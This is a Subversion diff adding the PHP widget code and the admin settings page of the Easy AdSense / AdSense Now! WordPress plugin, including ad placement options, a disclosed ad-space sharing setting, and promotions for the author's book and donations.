+      echo '<a href="options-general.php?page=easy-adsenser.php"> ';
+      echo 'Settings &rarr; Easy AdSense</a>' ;
+      echo '</p>' ;
+    }
+
+    function widget_ezAd_lu_control($widget_args = 1) {
+      echo '<p>Configure it at <br />' ;
+      echo '<a href="options-general.php?page=easy-adsenser.php"> ';
+      echo 'Settings &rarr; Easy AdSense</a>' ;
+      echo '</p>' ;
+    }
+
+    function register_ezAdSenseWidgets() {
+      if (function_exists('wp_register_sidebar_widget')) {
+        $widget_ops =
+          array('classname' => 'widget_ezAd_ads', 'description' =>
+                'Easy AdSense: ' . __('Show a Google AdSense block in your sidebar as a widget',
+                                     'easy-adsenser'));
+        wp_register_sidebar_widget('ezAd_ads', 'Google Ads',
+                                   array(&$this, 'widget_ezAd_ads'), $widget_ops);
+        $widget_ops =
+          array('classname' => 'widget_ezAd_search', 'description' =>
+                'Easy AdSense: ' . __('Show a Google Search Box in your sidebar as a widget',
+                                      'easy-adsenser'));
+        wp_register_sidebar_widget('ezAd_search', 'Google Search',
+                                   array(&$this, 'widget_ezAd_search'), $widget_ops);
+        wp_register_widget_control('ezAd_ads','Google Ads',
+                                   array(&$this, 'widget_ezAd_control'));
+        wp_register_widget_control('ezAd_search','Google Search',
+                                   array(&$this, 'widget_ezAd_control'));
+      }
+    }
+
+    function register_ezAdSenseLU() {
+      if (function_exists('wp_register_sidebar_widget')) {
+        for ($id = 0; $id < $this->luMax; $id++) {
+          $reg_wid = 'ezad-lu-' . $id ;
+          $jd = $id + 1;
+          $widget_ops =
+            array('classname' => 'widget_ezAd_lu', 'description' =>
+                  'Easy AdSense: ' . __('Show a Google Links Unit in your sidebar as a widget',
+                                        'easy-adsenser') . " ($jd)");
+          wp_register_sidebar_widget($reg_wid, 'Google Link Units' . " ($jd)",
+                                     array(&$this, 'widget_ezAd_lu'), $widget_ops);
+          wp_register_widget_control($reg_wid ,'Google Link Units' . " ($jd)",
+                                     array(&$this, 'widget_ezAd_lu_control'));
+        }
+      }
+    }
+  }
+} //End Class ezAdSense
+
+$urCount = 0 ;
+$ezCount = 0 ;
+
+// provide a replacement for htmlspecialchars_decode() (for PHP4 compatibility)
+if (!function_exists("htmlspecialchars_decode")) {
+  function htmlspecialchars_decode($string,$style=ENT_COMPAT) {
+    $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
+    if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
+    return strtr($string,$translation);
+  }
+}
+
+if (class_exists("ezAdSense")) {
+  $ez_ad = new ezAdSense();
+  if (isset($ez_ad) && !empty($ez_ad->defaults)) {
+    //Initialize the admin panel
+    if (!function_exists("ezAdSense_ap")) {
+      function ezAdSense_ap() {
+        global $ez_ad ;
+        if (function_exists('add_options_page')) {
+          add_options_page('Easy AdSense', 'Easy AdSense', 9,
+                           basename(__FILE__), array(&$ez_ad, 'printAdminPage'));
+        }
+      }
+    }
+
+    $version = (float)get_bloginfo('version') ;
+    if ($version >= 2.80){
+      // sidebar AdSense Widget (skyscraper)
+      class ezAdsWidget extends WP_Widget {
+        function ezAdsWidget() {
+          $widget_ops =
+            array('classname' => 'ezAdsWidget',
+                  'description' =>
+                  __('Show a Google AdSense block in your sidebar as a widget',
+                     'easy-adsenser') );
+          $this->WP_Widget('ezAdsWidget', 'Easy AdSense: Google Ads', $widget_ops);
+        }
+       	function widget($args, $instance) {
+          // outputs the content of the widget
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_ads($args) ;
+        }
+
+	function update($new_instance, $old_instance) {
+          // processes widget options to be saved
+          return $new_instance ;
+	}
+
+	function form($instance) {
+          // outputs the options form on admin
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_control() ;
+        }
+      }
+      add_action('widgets_init',
+                 create_function('', 'return register_widget("ezAdsWidget");'));
+
+      // sidebar Search Widget
+      class ezAdsSearch extends WP_Widget {
+        function ezAdsSearch() {
+          $widget_ops =
+            array('classname' => 'ezAdsSearch',
+                  'description' =>
+                  __('Show a Google Search Box in your sidebar as a widget',
+                     'easy-adsenser') );
+          $this->WP_Widget('ezAdsSearch', 'Easy AdSense: Google Search', $widget_ops);
+        }
+       	function widget($args, $instance) {
+          // outputs the content of the widget
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_search($args) ;
+        }
+
+	function update($new_instance, $old_instance) {
+          // processes widget options to be saved
+          return $new_instance ;
+	}
+
+	function form($instance) {
+          // outputs the options form on admin
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_control() ;
+        }
+      }
+      add_action('widgets_init',
+                 create_function('', 'return register_widget("ezAdsSearch");'));
+
+      // sidebar Link Units
+      class ezAdsLU extends WP_Widget {
+        function ezAdsLU() {
+          $widget_ops =
+            array('classname' => 'ezAdsLU',
+                  'description' =>
+                  __('Show a Google Links Unit in your sidebar as a widget',
+                     'easy-adsenser') );
+          $this->WP_Widget('ezAdsLU', 'Easy AdSense: Google Link Unit', $widget_ops);
+        }
+       	function widget($args, $instance) {
+          // outputs the content of the widget
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_lu($args) ;
+        }
+
+	function update($new_instance, $old_instance) {
+          // processes widget options to be saved
+          return $new_instance ;
+	}
+
+	function form($instance) {
+          // outputs the options form on admin
+          global $ez_ad ;
+          $ez_ad->widget_ezAd_control() ;
+        }
+      }
+      add_action('widgets_init',
+                 create_function('', 'return register_widget("ezAdsLU");'));
+    }
+    else {
+      add_action('plugins_loaded', array($ez_ad, 'register_ezAdSenseWidgets'));
+      add_action('plugins_loaded', array($ez_ad, 'register_ezAdsenseLU')) ;
+    }
+
+    add_filter('the_content', array($ez_ad, 'ezAdSense_content'));
+    $ezAdOptions = $ez_ad->getAdminOptions();
+    $ez_ad->luMax = $ezAdOptions['limit_lu'] ;
+    if ($ezAdOptions['allow_feeds']) {
+      add_filter('the_excerpt_rss', array($ez_ad, 'ezAdSense_content'));
+      add_filter('the_content_rss', array($ez_ad, 'ezAdSense_content'));
+    }
+    else {
+      remove_filter('the_excerpt_rss', array($ez_ad, 'ezAdSense_content'));
+      remove_filter('the_content_rss', array($ez_ad, 'ezAdSense_content'));
+    }
+    add_action('admin_menu', 'ezAdSense_ap');
+    add_action('activate_' . basename(dirname(__FILE__)) . '/' . basename(__FILE__),
+               array(&$ez_ad, 'init'));
+    add_filter('plugin_action_links', array($ez_ad, 'plugin_action'), -10, 2);
+    if ($ezAdOptions['max_link'] == -1)
+      add_action('wp_footer', array($ez_ad, 'footer_action'));
+    else
+      remove_action('wp_footer', array($ez_ad, 'footer_action'));
+  }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/admin.php	(revision 44)
@@ -0,0 +1,302 @@
+<?php echo '<script type="text/javascript" src="'. get_option('siteurl') . '/' . PLUGINDIR . '/' .  basename(dirname(__FILE__)) . '/wz_tooltip.js"></script>' ?>
+<div class="wrap" style="width:850px">
+
+<h2>AdSense Now! Setup <a href="http://validator.w3.org/" target="_blank"><img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0 Transitional" title="AdSense Now! Admin Page is certified Valid XHTML 1.0 Transitional" height="31" width="88" class="alignright"/></a></h2>
+<table class="form-table">
+<tr><th scope="row"><h3><?php _e('Instructions', 'easy-adsenser') ; ?></h3></th></tr>
+<tr valign="top">
+<td width="37%">
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('help0',WIDTH, 270, TITLE, '<?php _e('How to Set it up', 'easy-adsenser') ; ?>', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 15, 5])">
+<?php
+printf(__('A few easy steps to setup %s', 'easy-adsenser'),'<em>AdSense Now!</em>') ;
+?></a><br />
+</li>
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('help1',WIDTH, 270, TITLE, '<?php _e('How to Control AdSense on Each Post', 'easy-adsenser') ; ?>', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 15, 5])">
+<?php _e('Need to control ad blocks on each post?', 'easy-adsenser') ;?></a><br />
+</li>
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('rate', TITLE, 'WordPress: AdSense Now!', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [25, 25])">
+<?php _e('Check out the FAQ and rate this plugin.', 'easy-adsenser') ;?></a><br />
+</li>
+</ul>
+</td>
+<td width="31%">
+<div style="background-color:#ffffaa;padding:5px;border: solid 1px" id="support">
+<b><?php _e('Support this Plugin!', 'easy-adsenser') ; ?></b><br />
+<span style='text-decoration:underline' onmouseover="TagToTip('share', WIDTH, 230, TITLE, 'Ad Space Sharing',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])" onmouseout="UnTip()"><?php _e('Share a small fraction of your ad space', 'easy-adsenser') ; ?></span>,
+<em style="text-decoration:underline" onmouseover="TagToTip('unreal', WIDTH, 230, TITLE, 'Buy &lt;em&gt;The Unreal Universe&lt;/em&gt;',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><?php _e('Buy a book, <b>The Unreal Universe</b>', 'easy-adsenser') ; ?></em>, or
+<span style='text-decoration:underline' onmouseover="TagToTip('donate', WIDTH, 230, TITLE, 'Donation',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><?php _e('Make a donation', 'easy-adsenser') ; ?></span>.
+</div>
+</td>
+<td width="29%">
+<div style="background-color:#ccffff;padding:15px;border: solid 1px">
+<center>
+<big style="color:#a48;font-variant: small-caps;text-decoration:underline" onmouseover="TagToTip('unreal', WIDTH, 230, TITLE, 'Buy &lt;em&gt;The Unreal Universe&lt;/em&gt;',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><b>The Unreal Universe</b></big><br />
+A Remarkable Book on<br />Physics and Philosophy<br />
+</center>
+</div>
+</td>
+</tr>
+</table>
+
+<form method="post" name="adsenser" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<table class="form-table">
+<tr><th scope="row"><h3><?php printf(__('Options (for the %s theme)', 'easy-adsenser'), $mThemeName); ?> </h3></th></tr>
+</table>
+
+<table class="form-table" width="100%">
+<tr valign="top">
+<td width="400">
+<b><?php _e('Ad Blocks in Your Posts', 'easy-adsenser') ; ?></b><br />
+<?php _e('[Appears in your posts and pages]', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="adsNowText" style="width: 96%; height: 240px;"><?php echo(stripslashes(htmlspecialchars($adNwOptions['ad_text']))) ?></textarea>
+</td>
+<td>
+<center>
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<b><?php _e('(Where to show?)', 'easy-adsenser') ; ?></b>
+</center>
+<table bgcolor="white" width="450">
+<tr align="center" valign="middle">
+<td>&nbsp;</td><td><?php _e('Align Left', 'easy-adsenser') ; ?> </td><td><?php _e('Center', 'easy-adsenser') ; ?> </td><td><?php _e('Align Right', 'easy-adsenser') ; ?> </td><td><?php _e('Suppress', 'easy-adsenser') ; ?></td></tr>
+<tr align="center" valign="middle">
+<td><?php _e('Top', 'easy-adsenser') ; ?></td>
+<td>
+<input type="radio" id="adsNowShowLeadin_left" name="adsNowShowLeadin" value="float:left" <?php if ($adNwOptions['show_leadin'] == "float:left") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadin_center" name="adsNowShowLeadin" value="text-align:center" <?php if ($adNwOptions['show_leadin'] == "text-align:center") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadin_right" name="adsNowShowLeadin" value="float:right" <?php if ($adNwOptions['show_leadin'] == "float:right") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadin_no" name="adsNowShowLeadin" value="no" <?php if ($adNwOptions['show_leadin'] == "no") { echo('checked="checked"'); }?> />
+</td></tr>
+<tr align="center" valign="middle">
+<td><?php _e('Middle', 'easy-adsenser') ; ?></td>
+<td>
+<input type="radio" id="adsNowShowMidtext_left" name="adsNowShowMidtext" value="float:left" <?php if ($adNwOptions['show_midtext'] == "float:left") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowMidtext_center" name="adsNowShowMidtext" value="text-align:center" <?php if ($adNwOptions['show_midtext'] == "text-align:center") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowMidtext_right" name="adsNowShowMidtext" value="float:right" <?php if ($adNwOptions['show_midtext'] == "float:right") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowMidtext_no" name="adsNowShowMidtext" value="no" <?php if ($adNwOptions['show_midtext'] == "no") { echo('checked="checked"'); }?> />
+</td></tr>
+<tr align="center" valign="middle">
+<td><?php _e('Bottom', 'easy-adsenser') ; ?></td>
+<td>
+<input type="radio" id="adsNowShowLeadout_left" name="adsNowShowLeadout" value="float:left" <?php if ($adNwOptions['show_leadout'] == "float:left") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadout_center" name="adsNowShowLeadout" value="text-align:center" <?php if ($adNwOptions['show_leadout'] == "text-align:center") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadout_right" name="adsNowShowLeadout" value="float:right" <?php if ($adNwOptions['show_leadout'] == "float:right") { echo('checked="checked"'); }?> />
+</td><td>
+<input type="radio" id="adsNowShowLeadout_no" name="adsNowShowLeadout" value="no" <?php if ($adNwOptions['show_leadout'] == "no") { echo('checked="checked"'); }?> />
+</td>
+</tr>
+<tr><td colspan="5">
+<br style="line-height: 7px;" />
+<b><?php printf(__('Support %s by Donating Ad Space', 'easy-adsenser'), 'AdSense Now!') ; ?></b><br />
+<?php _e('Percentage of ad slots to share [Default: 5%]:', 'easy-adsenser') ; ?> <input style="width:20px;text-align:center;" id="adNwMC" name="adNwMC" value="<?php echo(stripslashes(htmlspecialchars($adNwOptions['mc'])));?>" />%<br /><br style="line-height: 7px;" />
+<b><?php _e('Suppress AdSense Ad Blocks on:', 'easy-adsenser') ; ?></b>&nbsp;&nbsp;
+<input type="checkbox" id="adNwKillPages" name="adNwKillPages" value="true" <?php if ($adNwOptions['kill_pages']) { echo('checked="checked"'); }?> /> <a href="http://codex.wordpress.org/Pages" target="_blank" title="<?php _e('Click to see the difference between posts and pages', 'easy-adsenser') ; ?>"><?php _e('Pages (Ads only on Posts)', 'easy-adsenser') ; ?></a><br />
+<label for="adNwKillAttach" title="<?php _e('Pages that show attachments', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillAttach" name="adNwKillAttach" <?php if ($adNwOptions['kill_attach']) { echo('checked="checked"'); }?> /> <?php _e('Attachment Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<label for="adNwKillHome" title="<?php _e('Home Page and Front Page are the same for most blogs', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillHome" name="adNwKillHome" <?php if ($adNwOptions['kill_home']) { echo('checked="checked"'); }?> /> <?php _e('Home Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<label for="adNwKillFront" title="<?php _e('Home Page and Front Page are the same for most blogs', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillFront" name="adNwKillFront" <?php if ($adNwOptions['kill_front']) { echo('checked="checked"'); }?> /> <?php _e('Front Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<br />
+<label for="adNwKillCat" title="<?php _e('Pages that come up when you click on category names', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillCat" name="adNwKillCat" <?php if ($adNwOptions['kill_cat']) { echo('checked="checked"'); }?> /> <?php _e('Category Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;&nbsp;&nbsp;
+<label for="adNwKillTag" title="<?php _e('Pages that come up when you click on tag names', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillTag" name="adNwKillTag" <?php if ($adNwOptions['kill_tag']) { echo('checked="checked"'); }?> /> <?php _e('Tag Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;&nbsp;
+<label for="adNwKillArchive" title="<?php _e('Pages that come up when you click on year/month archives', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="adNwKillArchive" name="adNwKillArchive" <?php if ($adNwOptions['kill_archive']) { echo('checked="checked"'); }?> /> <?php _e('Archive Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+</td></tr>
+</table>
+
+</td>
+</tr>
+</table>
+
+<div class="submit">
+<input type="submit" name="update_adsNowSettings" value="<?php _e('Save Changes', 'easy-adsenser') ?>" title="<?php _e('Save the changes as specified above', 'easy-adsenser') ?>" onmouseover="Tip('<?php _e('Save the changes as specified above', 'easy-adsenser') ?>',WIDTH, 240, TITLE, 'Save Settings')" onmouseout="UnTip()"/>
+<input type="submit" name="reset_adsNowSettings"  value="<?php _e('Reset Options', 'easy-adsenser') ?>" onmouseover="TagToTip('help3',WIDTH, 240, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+<input type="submit" name="clean_db"  value="<?php _e('Clean Database', 'easy-adsenser') ?>" onmouseover="TagToTip('help4',WIDTH, 280, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+<input type="submit" name="kill_me"  value="<?php _e('Uninstall', 'easy-adsenser') ?>" onmouseover="TagToTip('help5',WIDTH, 280, TITLE, 'DANGER!', BGCOLOR, '#ffcccc', FONTCOLOR, '#800000',BORDERCOLOR, '#c00000')" onmouseout="UnTip()"/>
+</div>
+</form>
+
+<span id="help0">
+1.
+<?php
+_e('Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads).', 'easy-adsenser') ;
+?>
+<br />
+2.
+<?php
+_e('Cut and paste the AdSense code into the boxes below, deleting the existing text.', 'easy-adsenser') ;
+?>
+<br />
+3.
+<?php
+_e('Decide how to align and show the code in your blog posts.', 'easy-adsenser') ;
+?>
+<br />
+<b>
+<?php
+_e('Save the options, and you are done!', 'easy-adsenser') ;
+?>
+</b>
+</span>
+
+<span id="help1">
+<?php _e('If you want to suppress AdSense in a particular post or page, give the <b><em>comment </em></b> "&lt;!--noadsense--&gt;" somewhere in its text.
+<br />
+<br />
+Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> "adsense" and give it a <b>value</b> "no".<br />
+<br />
+Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or page displays AdSense blocks:<br />
+<b>Keys</b>:<br />
+adsense-top,
+adsense-middle,
+adsense-bottom,
+adsense-widget,
+adsense-search<br />
+<b>Values</b>:<br />
+left,
+right,
+center,
+no', 'easy-adsenser') ;?>
+</span>
+
+<div id="share" style="padding:5px">
+<?php
+printf(__("Starting version %3.1f, <em>%s</em> has an ad space sharing option, if you would like to support its future development. It gives you an option to share a small fraction of your ad slots (default is 5%%) to show the author's ads. Use the option (in \"Support %s by Donating Ad Space\") below to change the value, or turn it off (by entering 0%%).", 'easy-adsenser'), 1.5, 'AdSense Now!', 'AdSense Now!') ;
+?>
+</div>
+
+<span id="rate">
+<iframe src="http://wordpress.org/extend/plugins/adsense-now/faq/" width="1000px" height="750px">
+</iframe>
+</span>
+
+<span id="help3">
+<font color="red"><?php _e('This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!', 'easy-adsenser') ; ?></font><br />
+<b><?php _e('Discard all your changes and load defaults. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+<span id="help4">
+<font color="red"><?php _e('The <b>Database Cleanup</b> button discards all your AdSense settings you have saved so far for <b>all</b> the themes, including the current one. Use it only if you know that you won\'t be using these themes. Please be careful with all database operations -- keep a backup.', 'easy-adsenser') ; ?></font><br />
+<b><?php _e('Discard all your changes and load defaults. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+<span id="help5">
+<font color="red"><?php printf(__('The <b>Uninstall</b> button really kills %s after cleaning up all the options it wrote in your database. This is your only warning! Please be careful with all database operations -- keep a backup.', 'easy-adsenser'), '<em>AdSense Now!</em>') ; ?></font><br />
+<b><?php _e('Kill this plugin. (Are you quite sure?)', 'easy-adsenser') ?></b></span>
+<hr />
+<br />
+
+<table class="form-table" >
+<tr><td>
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<?php _e('Please report any problems. And share your thoughts and comments.', 'easy-adsenser') ; ?>&nbsp;<a href="http://wordpress.org/tags/easy-adsenser" title="<?php _e('Post it in the WordPress forum', 'easy-adsenser') ; ?>" target="_blank"><?php _e("[WordPress Forum]", 'easy-adsenser') ?> </a> <?php _e("Or", 'easy-adsenser') ?> <a href="#" title="<?php _e('Contact the plugin author through email', 'easy-adsenser') ; ?>" onclick="TagToTip('help7', WIDTH, 1000, TITLE, 'Contact Manoj',STICKY, 1, CLOSEBTN, true, FIX, [20,20])"><?php _e("[Email Author]", 'easy-adsenser') ?></a>
+<div id="help7">
+<iframe src="http://manoj.thulasidas.com/mail.shtml" width="1024px" height="1024px">
+</iframe>
+</div>
+</li>
+<li>
+<?php _e('Check out my other plugin efforts:', 'easy-adsenser') ; ?>
+<ul style="margin-left:0px; padding-left:30px;list-style-type:square; list-style-position:inside;" >
+<li>
+<a href="http://wordpress.org/extend/plugins/easy-adsenser/" target="_blank" title="<?php
+_e('A complete solution for everything AdSense releated.', 'easy-adsenser') ; ?>" > <b>Easy AdSenser</b></a>: <?php
+_e('If you feel that you need more features (sidebar widgets, link units, Google searchbox etc.), consider my all-in-one plugin', 'easy-adsenser') ;?>, <em>Easy AdSenser</em>.
+<table bgcolor="#EAF3FA">
+<tr>
+<td align="center" style="border-bottom-width: 0px;">
+<?php echo '<script type="text/javascript"><!--
+google_ad_client = "pub-1213643583738263";
+/* 234x60 adNwsense, created 11/25/08 */
+google_ad_slot = "8050392339";
+google_ad_width = 234;
+google_ad_height = 60;
+//-->
+</script>
+<script type="text/javascript"
+src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script>' ?><br />
+<font size="-3"><a href="http://wordpress.org/extend/plugins/easy-adsenser/" target="_blank" title="The simplest way to put AdSense to work for you!">Easy AdSenser</a> by <a href="http://www.Thulasidas.com/" target="_blank" title="Unreal Blog proudly brings you Easy AdSenser">Unreal</a></font></td>
+</tr>
+</table>
+</li>
+<li>
+<a href="http://wordpress.org/extend/plugins/theme-tweaker/" target="_blank" title="Tweak your color scheme"><b>Theme Tweaker</b></a>: <?php _e('To modify the color scheme of your themes with no CSS/Stylesheet editing.', 'easy-adsenser') ; ?>
+</li>
+<li>
+<a href="http://wordpress.org/extend/plugins/easy-latex/" target="_blank" title="LaTeX in your posts"><b> Easy LaTeX</b></a>: <?php _e('To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:', 'easy-adsenser') ; ?> <br/><img src="http://l.wordpress.com/latex.php?latex=(a%2bb)^2%20=%20a^2%20%2b%20b^2%20%2b%202ab&amp;bg=FFFFFF&amp;s=1" style="vertical-align:-70%;" alt="(a+b)^2 = a^2 + b^2 + 2ab" />
+</li>
+</ul>
+</li>
+</ul>
+</td>
+</tr>
+</table>
+
+<table class="form-table" >
+<tr><th scope="row"><h3><?php _e('Credits', 'easy-adsenser'); ?></h3></th></tr>
+<tr><td>
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<?php printf(__('%s uses the excellent Javascript/DHTML tooltips by %s', 'easy-adsenser'), '<b>Adsense Now!</b>', '<a href="http://www.walterzorn.com" target="_blank" title="Javascript, DTML Tooltips"> Walter Zorn</a>.') ;
+?>
+</li>
+</ul>
+</td>
+</tr>
+</table>
+
+<div id="unreal">
+<center>
+Of Life, Universe and Everything<br />
+<big><b><em>The Unreal Universe</em></b></big><br />
+Only $9.95 for the eBook version!
+</center>
+<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+<input type="hidden" name="cmd" value="_s-xclick"/>
+<input type="hidden" name="hosted_button_id" value="1216642"/>
+<center><input type="image" src="/img/btn_buynow_SM.gif"  name="submit" title="The Unreal Universe eBook for only $9.95!" alt="[PayPal]"/></center>
+<img alt="" border="0" src="https://www.paypal.com/en_GB/i/scr/pixel.gif" width="1" height="1"/>
+</form>
+<table border="0" cellpadding="0" cellspacing="0" summary="" width="100%">
+<tr>
+<td colspan="2" align="center"><a href="http://www.thulasidas.com/about/about-my-book" target="_blank">Want to know more?</a></td></tr><tr><td>
+<small>
+Pages: 292<br />
+(282 in eBook)<br />
+Trimsize: 6" x 9" <br />
+Illustrations: 34<br />
+(9 in color in eBook)<br />
+Tables: 8 <br />
+Bibliography: Yes<br />
+Index: Yes<br />
+ISBN: 9789810575946&nbsp;&nbsp;&nbsp;
+</small>
+</td>
+<td align="right"><a href="http://www.thulasidas.com/buy"><img class="alignright" src="http://www.thulasidas.com/img/unreal.gif" alt="TheUnrealUniverse" title="Check out the beuatifully printed paperback!" /></a></td>
+</tr>
+</table>
+</div>
+
+<div id="donate">
+<?php _e('If you find yourself making a lot of money using this plugin, consider making a donation.', 'easy-adsener'); ?>
+<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+<input type="hidden" name="cmd" value="_s-xclick"/>
+<center><input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif" name="submit" alt="Support my plugin efforts"/></center>
+<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"/>
+<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----MIIHmAYJKoZIhvcNAQcEoIIHiTCCB4UCAQExggEwMIIBLAIBADCBlDCBjjELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRQwEgYDVQQKEwtQYXlQYWwgSW5jLjETMBEGA1UECxQKbGl2ZV9jZXJ0czERMA8GA1UEAxQIbGl2ZV9hcGkxHDAaBgkqhkiG9w0BCQEWDXJlQHBheXBhbC5jb20CAQAwDQYJKoZIhvcNAQEBBQAEgYBNx0oBWqqM3lBARDR3dyjiAATiSWq4gEPdRiDeViTBsMu/mkwonHFgV4DH0lnuv2Xx52FBaUUJdgUEHqNpEDfN1VzkI+XyH5on7oMsBtYJa7bCRyBu+Mm9gxS62qfiONvxa+a8F7vPe15/U18uR2Yp+X1YgB67BWVK2tHJ43VJKDELMAkGBSsOAwIaBQAwggEUBgkqhkiG9w0BBwEwFAYIKoZIhvcNAwcECKBSVDgygu3pgIHwnyWRrLRaL8kk5HFQMxHQtDmlr+Hssx2RyC0pWtKy6EitypH4koR1iQut7YEMzklYG1hSRsRQMTsvQRoaFgwl5W9AszhwKsAp2MQGOdRSXWtn8jH3YIRRmgK7+XLri1eBtjmMo/jdtH6PWR80mP5/rpXdEpNxOm29lvfk+tlFBSgNzYwKTLy2S2p2HA3dDhou8Xtcc6ZmkQqDfkqa7puj/RqXuLRG0VJf8Q1mC57AhEIp0z+9Sce843YoRMsPMo8dke04tMzb8gnPGXclqRM2y2PxbBOvFvjAS72ky2v4AIX9teRSnu39rUSmEMzsnXmcoIIDhzCCA4MwggLsoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgY4xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEUMBIGA1UEChMLUGF5UGFsIEluYy4xEzARBgNVBAsUCmxpdmVfY2VydHMxETAPBgNVBAMUCGxpdmVfYXBpMRwwGgYJKoZIhvcNAQkBFg1yZUBwYXlwYWwuY29tMB4XDTA0MDIxMzEwMTMxNVoXDTM1MDIxMzEwMTMxNVowgY4xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEUMBIGA1UEChMLUGF5UGFsIEluYy4xEzARBgNVBAsUCmxpdmVfY2VydHMxETAPBgNVBAMUCGxpdmVfYXBpMRwwGgYJKoZIhvcNAQkBFg1yZUBwYXlwYWwuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBR07d/ETMS1ycjtkpkvjXZe9k+6CieLuLsPumsJ7QC1odNz3sJiCbs2wC0nLE0uLGaEtXynIgRqIddYCHx88pb5HTXv4SZeuv0Rqq4+axW9PLAAATU8w04qqjaSXgbGLP3NmohqM6bV9kZZwZLR/klDaQGo1u9uDb9lr4Yn+rBQIDAQABo4HuMIHrMB0GA1UdDgQWBBSWn3y7xm8XvVk/UtcKG+wQ1mSUazCBuwYDVR0jBIGzMIGwgBSWn3y7xm8XvVk/UtcKG+wQ1mSUa6GBlKSBkTCBjjELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRQwEgYDVQQKEwtQYXlQYWwgSW5jLjETMBEGA1UECxQKbGl2ZV9jZXJ0czERMA8GA1UEAxQIbGl2ZV9hcGkxHDAaBgkqhkiG9w0BCQEWDXJlQHBheXBhbC5jb22CAQAwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOBgQCBXzpWmoBa5e9fo6ujionW1hUhPkOBakTr3YCDjbYfvJEiv/2P+IobhOGJr85+XHhN0v4gUkEDI8r2/rNk1m0GA8HKddvTjyGw/